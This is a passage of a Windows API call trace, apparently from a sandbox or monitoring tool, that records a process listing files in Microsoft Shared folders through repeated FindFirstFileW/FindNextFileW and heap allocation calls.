cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.494] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.494] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.495] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0219.495] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0219.495] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.495] GetProcessHeap () returned 0x560000 [0219.495] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.495] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0219.495] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0219.496] GetProcessHeap () returned 0x560000 [0219.496] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0219.496] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0219.496] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0219.496] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0219.496] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0219.497] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0219.497] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0219.497] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0219.497] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0219.497] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0219.498] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0219.498] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0219.498] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0219.498] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.498] GetProcessHeap () returned 0x560000 [0219.498] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0219.498] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0219.499] GetProcessHeap () returned 0x560000 [0219.499] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0219.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.505] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.505] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0219.505] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0219.506] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0219.506] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0219.506] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0219.506] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0219.506] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0219.507] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0219.507] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0219.507] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.509] GetProcessHeap () returned 0x560000 [0219.509] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0219.509] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0219.510] GetProcessHeap () returned 0x560000 [0219.510] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0219.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.512] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.512] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0219.512] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0219.512] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0219.512] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0219.513] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0219.513] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.513] GetProcessHeap () returned 0x560000 [0219.513] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0219.513] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0219.513] GetProcessHeap () returned 0x560000 [0219.513] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0219.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.816] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.854] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0219.854] GetProcessHeap () returned 0x560000 [0219.854] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0219.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0219.857] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.857] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, 